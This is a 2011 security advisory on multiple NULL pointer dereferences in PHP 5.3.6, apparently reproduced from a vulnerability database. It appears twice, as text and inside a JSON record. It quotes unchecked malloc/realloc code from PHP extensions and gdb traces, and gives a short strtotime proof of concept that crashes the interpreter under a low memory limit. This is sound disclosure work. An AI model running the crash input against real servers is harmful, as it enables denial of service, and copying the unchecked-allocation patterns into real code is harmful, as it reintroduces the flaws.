Description
[ PHP 5.3.6 multiple null pointer dereference ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://securityreason.net/
http://cxib.net/
Date:
- Dis.: 20.07.2011
- Pub.: 19.08.2011
Affected Software (verified):
PHP 5.3.6 and prior
Fixed:
PHP 5.3.7
Original URL:
http://securityreason.com/achievement_securityalert/101
--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications.
--- 1. PHP 5.3.6 multiple null pointer dereference ---
Some time ago we have reported list with possible NULL pointer dereferences in php 5.3.6. If user may change size of malloc, it's possible to get NULL pointer dereferences. I haven't enought time to check security impacts for all these bugs.
To demonstrate these flaws, we may use default memory limit in OpenBSD [512MB]. We should allocate a lot of memory like 510MB (still 2MB free). If some string is longer than 2MB (example 4MB), and php try copy this string using malloc/strlen etc then malloc return NULL. Then program is counting with possible NULL pointer dereference or buffer overflow sympthons.
Example:
http://cwe.mitre.org/data/definitions/690.html
where CWE-690 give CWE-476 NULL pointer dereference
good example for CWE-690 is
tz->location.comments = malloc(comments_len + 1);
memcpy(tz->location.comments, *tzf, comments_len);
This code may provide to null pointer dereference or simple crash with nulling memory with memset()
in.str = malloc((e - s) + YYMAXFILL);
memset(in.str, 0, (e - s) + YYMAXFILL);
memcpy(in.str, s, (e - s));
Program received signal SIGSEGV, Segmentation fault.
0xbba7581c in memset () from /usr/lib/libc.so.12
(gdb) x/i $eip
0xbba7581c <memset+44>: rep stos %eax,%es:(%edi)
(gdb) x/x $eax
0x0: Cannot access memory at address 0x0
(gdb) x/x $edi
0x0: Cannot access memory at address 0x0
In this case, memset() overwrite the memory with 0x0 char. If attacker can put something else that 0x0, it would have security impact.
There are more interesting places, where user may try change size of malloc. See bellow
-id0-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/curl/interfacec?view=markup
820 if (!CRYPTO_get_id_callback()) {
821 int i, c = CRYPTO_num_locks();
822
823 php_curl_openssl_tsl = malloc(c * sizeof(MUTEX_T));
824
825 for (i = 0; i < c; ++i) {
826 php_curl_openssl_tsl[i] = tsrm_mutex_alloc();
827 }
828
829 CRYPTO_set_id_callback(php_curl_ssl_id);
830 CRYPTO_set_locking_callback(php_curl_ssl_lock);
831 }
-id0-end---------
-id1-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_date.c?view=markup
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_iso_intervals.c?view=markup
multiple malloc/calloc/realloc
323 uchar *buf = (uchar*) malloc(((s->lim - s->bot) +
BSIZE)*sizeof(uchar));
324 memcpy(buf, s->tok, s->lim - s->tok);
496 str = calloc(1, end - begin + 1);
497 memcpy(str, begin, end - begin);
346 s->errors->warning_messages =
realloc(s->errors->warning_messages, s->errors->warning_count *
sizeof(timelib_error_message));
347 s->errors->warning_messages[s->errors->warning_count -
1].position = s->tok ? s->tok - s->str : 0;
348 s->errors->warning_messages[s->errors->warning_count -
1].character = s->tok ? *s->tok : 0;
349 s->errors->warning_messages[s->errors->warning_count -
1].message = strdup(error);
-id1-end---------
-id2-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_tz.c?view=markup
210 tz->location.comments = malloc(comments_len + 1);
211 memcpy(tz->location.comments, *tzf, comments_len);
212 tz->location.comments[comments_len] = '\0';
213 *tzf += comments_len;
-id2-end---------
-id3-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/timelib.c?revision=305315&view=markup
124 tmp->trans = (int32_t *) malloc(tz->timecnt * sizeof(int32_t));
125 tmp->trans_idx = (unsigned char*) malloc(tz->timecnt *
sizeof(unsigned char));
126 memcpy(tmp->trans, tz->trans, tz->timecnt * sizeof(int32_t));
127 memcpy(tmp->trans_idx, tz->trans_idx, tz->timecnt *
sizeof(unsigned char));
128
129 tmp->type = (ttinfo*) malloc(tz->typecnt * sizeof(struct ttinfo));
130 memcpy(tmp->type, tz->type, tz->typecnt * sizeof(struct ttinfo));
131
132 tmp->timezone_abbr = (char*) malloc(tz->charcnt);
133 memcpy(tmp->timezone_abbr, tz->timezone_abbr, tz->charcnt);
134
135 tmp->leap_times = (tlinfo*) malloc(tz->leapcnt * sizeof(tlinfo));
136 memcpy(tmp->leap_times, tz->leap_times, tz->leapcnt *
sizeof(tlinfo));
-id3-end---------
-id4-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/pdo_odbc/pdo_odbc.c?view=markup
98 char *instance = INI_STR("pdo_odbc.db2_instance_name");
99 if (instance) {
100 char *env = malloc(sizeof("DB2INSTANCE=") +
strlen(instance));
101 strcpy(env, "DB2INSTANCE=");
102 strcat(env, instance);
103 putenv(env);
-id4-end---------
-id5-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/reflection/php_reflection.c?view=markup
238 class_entry->interfaces = (zend_class_entry **)
realloc(class_entry->interfaces, sizeof(zend_class_entry *) *
num_interfaces);
239 class_entry->interfaces[num_interfaces - 1] = interface_entry;
-id5-end---------
-id6-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/soap/php_sdl.c?view=markup
2368 prest = malloc(sizeof(sdlRestrictionChar));
2369 memset(prest, 0, sizeof(sdlRestrictionChar));
-id6-end---------
-id7-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/xmlrpc/libxmlrpc/base64.c?view=markup
26 b->data = malloc(sizeof(char)*(b->length));
27 b->data[0] = 0;
38 b->data = realloc(b->data, b->length);
39 b->ptr = b->data + b->offset;
-id7-end---------
-id8-start---------
http://svn.php.net/viewvc/php/php-src/trunk/TSRM/tsrm_win32.c?view=markup
532 cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);
533 sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);
534 if (asuser) {
535 res = CreateProcessAsUser(token_user, NULL, cmd, &security, &security, security.bInheritHandle, dwCreateFlags, env, cwd, &startup, &process);
536 CloseHandle(token_user);
-id8-end---------
--- 2. PoC (realloc/malloc) ---
This proof of concept was verified on NetBSD with php 5.3.7.
127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127# /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)
127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888
Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
error=0x83ea7d8 "Double timezone specification")
at /cxib/5371/ext/date/lib/parse_date.c:355
355 s->errors->error_messages[s->errors->error_count - 1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009
--- 3. Fix ---
Use PHP 5.3.7
--- 4. Greets ---
PHP Team for fixes and discussions.
sp3x infospec
--- 5. Contact ---
Author: Maksymilian Arciemowicz
Email:
- cxib {a\./t] securityreason [d=t} com
GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://securityreason.net/
http://cxib.net/
{"id": "SECURITYVULNS:DOC:26930", "bulletinFamily": "software", "title": "PHP 5.3.6 multiple null pointer dereference", "description": "[ PHP 5.3.6 multiple null pointer dereference ]\r\n\r\nAuthor: Maksymilian Arciemowicz\r\nhttp://securityreason.com/\r\nhttp://securityreason.net/\r\nhttp://cxib.net/\r\n\r\nDate:\r\n- Dis.: 20.07.2011\r\n- Pub.: 19.08.2011\r\n\r\nAffected Software (verified):\r\nPHP 5.3.6 and prior\r\n\r\nFixed:\r\nPHP 5.3.7\r\n\r\nOriginal URL:\r\nhttp://securityreason.com/achievement_securityalert/101\r\n\r\n\r\n--- 0.Description ---\r\nPHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications.\r\n\r\n\r\n--- 1. PHP 5.3.6 multiple null pointer dereference ---\r\nSome time ago we have reported list with possible NULL pointer dereferences in php 5.3.6. If user may change size of malloc, it's possible to get NULL pointer dereferences. I haven't enought time to check security impacts for all these bugs. \r\n\r\nTo demonstrate these flaws, we may use default memory limit in OpenBSD [512MB]. We should allocate a lot of memory like 510MB (still 2MB free). If some string is longer than 2MB (example 4MB), and php try copy this string using malloc/strlen etc then malloc return NULL. Then program is counting with possible NULL pointer dereference or buffer overflow sympthons.\r\n\r\nExample:\r\nhttp://cwe.mitre.org/data/definitions/690.html\r\n\r\nwhere CWE-690 give CWE-476 NULL pointer dereference\r\n\r\ngood example for CWE-690 is\r\n\r\n tz->location.comments = malloc(comments_len + 1);\r\n memcpy(tz->location.comments, *tzf, comments_len);\r\n\r\nThis code may provide to null pointer dereference or simple crash with nulling memory with memset()\r\n\r\n in.str = malloc((e - s) + YYMAXFILL);\r\n memset(in.str, 0, (e - s) + YYMAXFILL);\r\n memcpy(in.str, s, (e - s));\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0xbba7581c in memset () from /usr/lib/libc.so.12\r\n(gdb) x/i $eip\r\n0xbba7581c <memset+44>: rep stos %eax,%es:(%edi)\r\n(gdb) x/x $eax\r\n0x0: Cannot access memory at address 0x0\r\n(gdb) x/x $edi\r\n0x0: Cannot access memory at address 0x0\r\n\r\nIn this case, memset() overwrite the memory with 0x0 char. If attacker can put something else that 0x0, it would have security impact. \r\n\r\nThere are more interesting places, where user may try change size of malloc. See bellow\r\n\r\n-id0-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/curl/interfacec?view=markup\r\n\r\n820 if (!CRYPTO_get_id_callback()) {\r\n821 int i, c = CRYPTO_num_locks();\r\n822\r\n823 php_curl_openssl_tsl = malloc(c * sizeof(MUTEX_T));\r\n824\r\n825 for (i = 0; i < c; ++i) {\r\n826 php_curl_openssl_tsl[i] = tsrm_mutex_alloc();\r\n827 }\r\n828\r\n829 CRYPTO_set_id_callback(php_curl_ssl_id);\r\n830 CRYPTO_set_locking_callback(php_curl_ssl_lock);\r\n831 }\r\n-id0-end---------\r\n\r\n\r\n-id1-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_date.c?view=markup\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_iso_intervals.c?view=markup\r\nmultiple malloc/calloc/realloc\r\n\r\n323 uchar *buf = (uchar*) malloc(((s->lim - s->bot) +\r\nBSIZE)*sizeof(uchar));\r\n324 memcpy(buf, s->tok, s->lim - s->tok);\r\n\r\n496 str = calloc(1, end - begin + 1);\r\n497 memcpy(str, begin, end - begin);\r\n\r\n346 s->errors->warning_messages =\r\nrealloc(s->errors->warning_messages, s->errors->warning_count *\r\nsizeof(timelib_error_message));\r\n347 s->errors->warning_messages[s->errors->warning_count -\r\n1].position = s->tok ? s->tok - s->str : 0;\r\n348 s->errors->warning_messages[s->errors->warning_count -\r\n1].character = s->tok ? *s->tok : 0;\r\n349 s->errors->warning_messages[s->errors->warning_count -\r\n1].message = strdup(error);\r\n-id1-end---------\r\n\r\n\r\n-id2-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_tz.c?view=markup\r\n\r\n210 tz->location.comments = malloc(comments_len + 1);\r\n211 memcpy(tz->location.comments, *tzf, comments_len);\r\n212 tz->location.comments[comments_len] = '\0';\r\n213 *tzf += comments_len;\r\n-id2-end---------\r\n\r\n\r\n-id3-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/timelib.c?revision=305315&view=markup\r\n\r\n124 tmp->trans = (int32_t *) malloc(tz->timecnt * sizeof(int32_t));\r\n125 tmp->trans_idx = (unsigned char*) malloc(tz->timecnt *\r\nsizeof(unsigned char));\r\n126 memcpy(tmp->trans, tz->trans, tz->timecnt * sizeof(int32_t));\r\n127 memcpy(tmp->trans_idx, tz->trans_idx, tz->timecnt *\r\nsizeof(unsigned char));\r\n128\r\n129 tmp->type = (ttinfo*) malloc(tz->typecnt * sizeof(struct ttinfo));\r\n130 memcpy(tmp->type, tz->type, tz->typecnt * sizeof(struct ttinfo));\r\n131\r\n132 tmp->timezone_abbr = (char*) malloc(tz->charcnt);\r\n133 memcpy(tmp->timezone_abbr, tz->timezone_abbr, tz->charcnt);\r\n134\r\n135 tmp->leap_times = (tlinfo*) malloc(tz->leapcnt * sizeof(tlinfo));\r\n136 memcpy(tmp->leap_times, tz->leap_times, tz->leapcnt *\r\nsizeof(tlinfo));\r\n-id3-end---------\r\n\r\n\r\n-id4-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/pdo_odbc/pdo_odbc.c?view=markup\r\n\r\n98 char *instance = INI_STR("pdo_odbc.db2_instance_name");\r\n99 if (instance) {\r\n100 char *env = malloc(sizeof("DB2INSTANCE=") +\r\nstrlen(instance));\r\n101 strcpy(env, "DB2INSTANCE=");\r\n102 strcat(env, instance);\r\n103 putenv(env);\r\n-id4-end---------\r\n\r\n\r\n-id5-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/reflection/php_reflection.c?view=markup\r\n\r\n238 class_entry->interfaces = (zend_class_entry **)\r\nrealloc(class_entry->interfaces, sizeof(zend_class_entry *) *\r\nnum_interfaces);\r\n239 class_entry->interfaces[num_interfaces - 1] = interface_entry;\r\n-id5-end---------\r\n\r\n\r\n-id6-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/soap/php_sdl.c?view=markup\r\n\r\n2368 prest = malloc(sizeof(sdlRestrictionChar));\r\n2369 memset(prest, 0, sizeof(sdlRestrictionChar));\r\n-id6-end---------\r\n\r\n\r\n-id7-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/xmlrpc/libxmlrpc/base64.c?view=markup\r\n\r\n26 b->data = malloc(sizeof(char)*(b->length));\r\n27 b->data[0] = 0;\r\n\r\n38 b->data = realloc(b->data, b->length);\r\n39 b->ptr = b->data + b->offset;\r\n-id7-end---------\r\n\r\n\r\n-id8-start---------\r\nhttp://svn.php.net/viewvc/php/php-src/trunk/TSRM/tsrm_win32.c?view=markup\r\n\r\n532 cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);\r\n533 sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);\r\n534 if (asuser) {\r\n535 res = CreateProcessAsUser(token_user, NULL, cmd, &security, &security, security.bInheritHandle, dwCreateFlags, env, cwd, &startup, &process);\r\n536 CloseHandle(token_user);\r\n-id8-end---------\r\n\r\n\r\n--- 2. PoC (realloc/malloc) ---\r\nThis proof of concept was verified on NetBSD with php 5.3.7.\r\n\r\n127# ulimit -m 100000\r\n127# ulimit -v 100000 \r\n127# cat /www/strtotime.php\r\n<?php\r\n$strx=str_repeat("A",$argv[1]);\r\nvar_dump(strtotime($strx));\r\n?>127# \r\n127# /cxib/5371/build/bin/php /www/strtotime.php 33388888 \r\nMemory fault (core dumped) \r\n\r\n127# gdb -q /cxib/5371/build/bin/php\r\n(gdb) r /www/strtotime.php 33388888\r\nStarting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0806e8bd in add_error (s=0xbfbfcf90, \r\n error=0x83ea7d8 "Double timezone specification")\r\n at /cxib/5371/ext/date/lib/parse_date.c:355\r\n355 s->errors->error_messages[s->errors->error_count - 1].position = s->tok ? s->tok - s->str : 0;\r\n(gdb) print s->errors->error_messages\r\n$1 = (struct timelib_error_message *) 0x0\r\n(gdb) print s->errors->error_count\r\n$2 = 1835009\r\n\r\n\r\n--- 3. Fix ---\r\nUse PHP 5.3.7\r\n\r\n\r\n--- 4. Greets ---\r\nPHP Team for fixes and discussions.\r\n\r\nsp3x infospec\r\n\r\n\r\n--- 5. Contact ---\r\nAuthor: Maksymilian Arciemowicz\r\n\r\nEmail:\r\n- cxib {a\./t] securityreason [d=t} com\r\n\r\nGPG:\r\n- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg\r\n\r\nhttp://securityreason.com/\r\nhttp://securityreason.net/\r\nhttp://cxib.net/\r\n", "published": "2011-08-27T00:00:00", "modified": "2011-08-27T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:26930", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:41", "edition": 1, "viewCount": 43, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11879"]}], "rev": 4}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.3}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645577708, "score": 1659803227}, "_internal": {"score_hash": "394c62bf179196d8931e13cc0a75d471"}}
{}